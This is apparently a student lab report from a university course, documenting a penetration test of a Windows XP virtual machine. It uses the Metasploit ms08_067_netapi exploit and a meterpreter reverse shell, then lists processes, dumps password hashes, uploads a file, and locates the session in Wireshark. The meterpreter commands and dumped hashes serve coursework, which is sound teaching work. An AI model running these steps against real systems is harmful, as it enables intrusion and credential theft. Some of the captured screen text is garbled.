OLD DOMINION UNIVERSITY

CYSE 301 Cybersecurity Techniques and Operations

Assignment M3.1:Penetration Test on Windows XP

Joy Diggs 00491693

STEP 1-TASK A

1. Follow the instruction discussed in the class and find all the possible vulnerabilities in Windows XP by using Nmap.



Above is the screenshot of the nmap scan of the network showing the open ports.

Step 2

2. In Metasploit, search the detailed information and usage regarding the exploit: ms08_067_netapi. Which port on the target system will be exploited if I use this exploit? Is this port available on the target Windows XP?

		root@CS2APenTest: ~		c		8
File Edit View Search Termi	nal Help					
Basic options: Name Current Setting RHOSTS RPORT 445 SMBPIPE BROWSER	Required yes yes yes	Description The target address range or CIDR identi The SMB service port (TCP) The pipe name to use (BROWSER, SRVSVC)	Details ^ fier			
Payload information: Space: 408 Avoid: 8 characters						
Description: This module exploits a pa code of NetAPI32.dll thro capable of bypassing NX o The correct target must b with a dozen others in th targets seem to handle mu 2003 targets will often c is just the first version on 2003, along with other	rsing flaw hugh the Se on some ope he used to he same pro ltiple suc rash or ha of this ms	in the path canonicalization rver Service. This module is rating systems and service packs. prevent the Server Service (along cess) from crashing. Windows XP cessful exploitation events, but ng on subsequent attempts. This odule, full support for NX bypass , is still in development.				
References:						Ŧ
				6		
				<u>^ ኬ</u> ላ)) 1:2)) 3/1	4 AM 9/2021

Above is the screenshot of the information on the exploit. The port 445 will be exploited on the target machine and it is open and available on the target machine.

STEP 1-TASK B

1. Configure Metasploit framework to set up a meterpreter reverse shell connection to the target Windows XP by using the following configurations. Listening Port: UIN without zeros.



Above is the screenshot of the configured framework for the meterpreter reverse shell.

STEP 1-TASK C

1. Take a screenshot of the target machine.



Above is the screenshot of the screenshot of the target machine using meterpreter shell.

Step 2

2. Collect the target system info.



Above is the screenshot of the target system info.

STEP 3

3. Collect the list of the running processes on the target machine.

				root	@CS2APenTest: ~	•••
File	Edit Vie	ew Search Terminal	Help			
meter	preter	}⊫ps _{Help}	1			*
Proce	ss List					Capital
=====	=======					
Comma						
PID	PPID	Name	Arch	Session	User	Path
Hösts						
0	0	[System Process]				
-4	0	System ap-14-A-vi	x86	0.0/24	NT AUTHORITY\SYSTEM	Details
180	1072	wuauclt.exe	x86	0 102 168	ORG-JLF9I0GWXFM\user	C:\WINDOWS\system32\wua
uclt.	exe					
412	692	VGAuthService.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware
\VMwa	re Tool	s\VMware VGAuth\VGA	uthSer	vice.exe		
560	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\sm
ss.ex	e					
604	692	vmtoolsd.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware
\VMwa	re Tool	s\vmtoolsd.exe				p.d
624	560	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	<pre>\??\C:\WINDOWS\system32</pre>
\csrs	s.exe					
648	560	winlogon.exe	x86	0, 100,01	NT_AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32
\winl	ogon.ex	e <u>ost</u> costeres e				
692	648	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\ser
vices	.exe					SOI-M
704	648	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsa
ss.ex	e					CW0-0 CM0-
860	692	vmacthlp.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware
\VMwa	re Tool	s\vmacthlp.exe				-10-04-
872	692	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svc
host.	exe					
956	692	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svc
host.	exe					
						2:01 AM
						7 1 19/2021

Above is the screenshot of the running processes on the target machine.

STEP 4

4. Collect the password hashes of the current users.

					root(@CS2APenTest: ~	•••
File	Edit Vie	ew Search	Terminal	Help			
860	692	vmacthlp.	exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware≜
872	692	svchost.e	xe	x86	0	NT_AUTHORITY\SYSTEM	C:\WINDOWS\svstem32\svc
host.	exe	0.10.0/24				sescale scale scale	
956	692	svchost.e	xe168.10.0	x86	Θ	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svc
host.	exe						
1072	692	svchost.e	xe _{ttout} Po	x86	0 -	NT_AUTHORITY\SYSTEM	C:\WINDOWS\System32\svc
host.	exe						
1120	692	svchost.e	exe4-A-v15	_x86	0.0/24	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\System32\svc
nost.	exe	0.2. Nmap		o tita ef o	192.168		
1104	092	svcnost.e	is up (0	X80	latency)	NT AUTHORITY LOCAL SERVICE	C:\winDows\System32\svc
1480	692	spoolsv e	shown: 99	x86	ed ports	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\spo
olsv.	exe	DE PORT	STATE	SERVI	CE VI	RSION	
1576	872	wmiprvse.	exe open	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\System32\wbe
m∖wmi	prvse.e	exe 139/					
1584	1072	wscntfy.e	xe	x86	0	ORG-JLF9I0GWXFM\user	C:\WINDOWS\system32\wsc
ntfy.	exe						ing
1836	1812	explorer.	exe	x86	0	ORG-JLF9I0GWXFM\user	C:\WINDOWS\Explorer.EXE
1844 .exe	692	alg.exe		x86	р <u>ө</u> 7/19%0Т=	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\System32\alg
1944	1836	vmtoolsd.	exe	x86	0	ORG-JLF9I0GWXFM\user	C:\Program Files\VMware
∖VMwa	re Tool	.s∖vmtoolsd	l.exe				*04=M
<u>meter</u> Admin Guest HelpA SUPPO user: <u>meter</u>	preter istrato :501:aa ssistan RT_3889 1003:aa preter	> hashdump pr:500:aad3 dd3b435b514 t:1000:c6d 45a0:1002: dd3b435b514 >	9005=0584 904eeaad3b 10ac1e4c44 aad3b435b 104eeaad3b	94eeaac 9435b51 960baa3 951404e 9435b51	00011155006=1 13b435b514 1404ee:31d 9ecadaa170 9eaad3b435 1404ee:31d	15841NT000NS WTN WT=FAF05W2=FA 04ee:31d6cfe0d16ae931b73c59d7e 6cfe0d16ae931b73c59d7e0c089c0: bfb8c:a08a9c9a5e96e759c5841b58 b51404ee:c5997d7f376ae5e15c62b 6cfe0d16ae931b73c59d7e0c089c0:	00089c0::: :: 0057cd021697::: :: 20080cf1f::: 2007cd021697::: 2007cd021697::: 2007cd021697:::
							へ 覧 (小) 2:02 AM 3/19/2021

Above is the screenshot of the current users' passwords on the system.

Step 5

5. Upload a file called "IMadeIT-YourMIDAS.txt" to the target's desktop. Login to the Windows XP and check if the file exist.

root@CS2APenTest: ~	0	0		8
File Edit View Search Terminal Help				
[-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat - digg007.txt	IMa	ade	IT-	j ^
<u>meterpreter</u> > upload "IMadeIT-jdigg007.txt"				
[-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat - digg007.txt	IMa	ade	IT-	j
<u>meterpreter</u> > upload "IMadeIT-jdigg007.txt"				
[-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat -	IMa	ade	IT-	j
digg007.txt				
<u>meterpreter</u> > upload IMadeIT-jdigg007.txt				
I-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat -	IMa	ade	IT-	j
digg007.txt				
<u>meterpreter</u> > dir				
No entries exist in C:\Documents and Settings\user\Desktop				
<u>meterpreter</u> > upload IMadeIT-jdigg007.txt				
[-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat -	IMa	ade	IT-	j
digg007.txt				
<u>meterpreter</u> > upload "IMadeIT-jdigg007.txt"				
[-] Error running command upload: Errno::ENOENT No such file or directory @ rb_file_s_stat -	IMa	ade	IT-	j
digg007.txt				
<u>meterpreter</u> > upload /root/Documents/IMadeIT-jdigg007.txt				
<u>meterpreter</u> > upload "/root/Documents/IMadeIT-jdigg007.txt" C:\\"Documents and Settings\user\	des	skt	op"	
<u>meterpreter</u> > echo "does this work" > IMadeIT-jdigg007.txt				
[-] Unknown command: echo.				
<u>meterpreter</u> > upload "/root/Documents/IMadeIT-jdigg007.txt" C:\"Documents and Settings\user\c	lesk	kto	p"	
[-] Parse error: Unmatched double quote: "upload \"/root/Documents/IMadeIT-jdigg007.txt\" C:\	()	'Do	cum	е
nts and Settings\\user\\desktop\""				
<u>meterpreter</u> > upload "/root/Documents/IMadeIT-jdigg007.txt" C:\\"Documents and Settings\user\	des	skt	op"	
<pre>uploading : /root/Documents/IMadeIT-jdigg007.txt -> C:\Documents and Settings\user\deskt</pre>	сор			
<pre>[*] uploaded : /root/Documents/IMadeIT-jdigg007.txt -> C:\Documents and Settings\user\deskt</pre>	cop\	ιM	ade	I
T-jdigg007.txt_				
meterpreter >				\sim
		<u>.</u>	<u>-</u>	
~	۲_	(1)	2:28	AM
			5/19/	2021



Above is the screenshot of the file uploaded on the desktop of the target machine.

TASK D

Assume Internal Kali (the network admin) does not aware of this live attack. How to locate this session by checking the firewall logs and filter the related traffic in the Wireshark (running on Internal Kali)?

		*eth0												•	•	8											
<u>F</u> ile	e <u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> apt	ure	<u>A</u> naly	ze	<u>S</u> tati	stics	Te	lep	non <u>y</u>	Wi	ireles	s <u>T</u> o	ols	<u>H</u> elp										
			Ō	0103 0310 0313	×	6	Q	+	+		וכ	•	•			€	Q	0) (
I	p.addr =	== 192.	168.2	17.3 8	& tcp	.port	== 4	916														×	•	Expres	sion	+	
No.		Time			Sour	ce					Des	tinat	ion			F	Proto	col	Leng	th	Info				-		
	1	0.000	0000	00	192	.168	.217	.3			192	.16	8.10	9.14			ТСР		1	82	4916	→ :	1034	[PSH,	AC		
	2	0.044	3614	77	192	.168	.10.	14			192	.16	8.21	L7.3		-	ТСР		2	14	1034	→ 4	4916	[PSH,	AC-		
	3	0.045	2981	84	192	.168	.217	.3			192	.16	8.10	9.14		-	ТСР			60	4916	→ <u>:</u>	1034	[ACK]	Se		
-	34	60.48	7529	719	192	.168	.217	.3			192	.16	8.10	9.14			ТСР		1	82	4916	→ :	1034	[PSH,	AC		
	35	60.53	1634	015	192	.168	.10.	14			192	.16	8.21	17.3			ТСР		2	14	1034	→ 4	4916	[PSH,	AC		
	36	60.53	2509	811	192	.168	.217	.3			192	.16	8.10	9.14		-	ТСР			60	4916	→ <u>:</u>	1034	[ACK]	Se		
	63	120.9	7551	9089	192	.168	.217	.3			192	.16	8.10	9.14		-	ТСР		1	82	4916	→ :	1034	[PSH,	AC-	_	
	66	121.0	1993	2586	192	.168	.10.	14			192	.16	8.21	17.3			ТСР		2	14	1034	→ 4	4916	[PSH,	AC-	_	
	67	121.0	2067	5194	192	.168	.217	.3			192	.16	8.10	9.14			ТСР			60	4916	→ <u>:</u>	1034	[ACK]	Se		
4	0.6	101 /	1751	04.96	100	460	047	2			100	161	0 40	14			TOD		4	0.0	1016		1024	[DOU	1		
) I) T - D	ransm: ata (: Data	ission 160 by : 2ab4	toco Con tes) 1ef55	trol	Pro 2a17	n 4, toco 7269	1, S 1, S a929	Src 9aa1	92.1 Port	108. t: 1 a580	10. .034	14, 1, D 7ba2	st F 2ab	Port 4ef5	92.10 : 49 <u>:</u> 4	16,	Seq:	16:	1, A	ck:	257	, L	en: :	160			
	[Len	gtn: 1	160 J																								,
000	00 00	0c 2	9 d4	9f 4	12 00	9 OC	29	b6	55	14	98	00 4	15 0	0).	۰B۰۰) •	U · · ·	Ε·							-	
00:	10 00	c8 0	5 73	40 0	00 80	9 06	90	5a	c0	a8	9a	0e d	:0 a	8	· · · s	@···	÷Ζ										
002	20 d9	03 04	4 0a	13 3	34 3t	F 22	14	43	1d	4a	Эe	8c 5	50 1	.8		-4?"	' ∙ C	· J · ·	P٠								
003	30 f 6	70 98	a 5d	00 0	90 2a	a b4	ef	55	55	b3 :	2a	17 7	72 6	9	·p·]	* .	٠U	U · * ·	ri								
004	40 a9	29 a	a 11	e1 a	a5 8e	e 61	7b	a2	2a	b4	ef	54 2	2a b	4	•)••	· · · 8	a {·'	* · · T	*.								
005	50 ef	dd 2a	a b4	ef 5	54 88	3 43	bc	44	bf	ec	60	d5 1	L8 4	7	* .	·T·C	C ∙D	•••••	٠G								
000	50 31	CC 3	a 3c	d2 8	35 33	3 fc	5d	8c	82	0c	9d	d9 b	oc f	e	1.:<	· · 3 ·	<u>]</u> .										
00	70 08	e4 c	4 dd	31 k	03 b0	1 2b	41	4d	00	d5	93	55 4	12 1	4		1+	- OM	· · · U	B·								
008	50 5e	DD 3	1 50	T2 8	a5 C6	995	47	02	90	89	41	cet	ст	D	^.1\		G	··A·	<u>\</u> .							1	r
\bigcirc	🗹 wi	reshark	_ethC	202	100	1445	8_k0	nDN	C.pc	apno)	Packe	ets: 3	3028	· Disp	layed	: 570	(18.8	3%)·	Dro	pped:	0 (0	0.0%)	Prof	ile: D	efault	:
rl+Alt.																											
																							/	丶 🗔 ଏ	9) 2:4 9) 3/1	0 AM 9/2021	

Above is the screenshot of the filtered traffic showing the session that we used.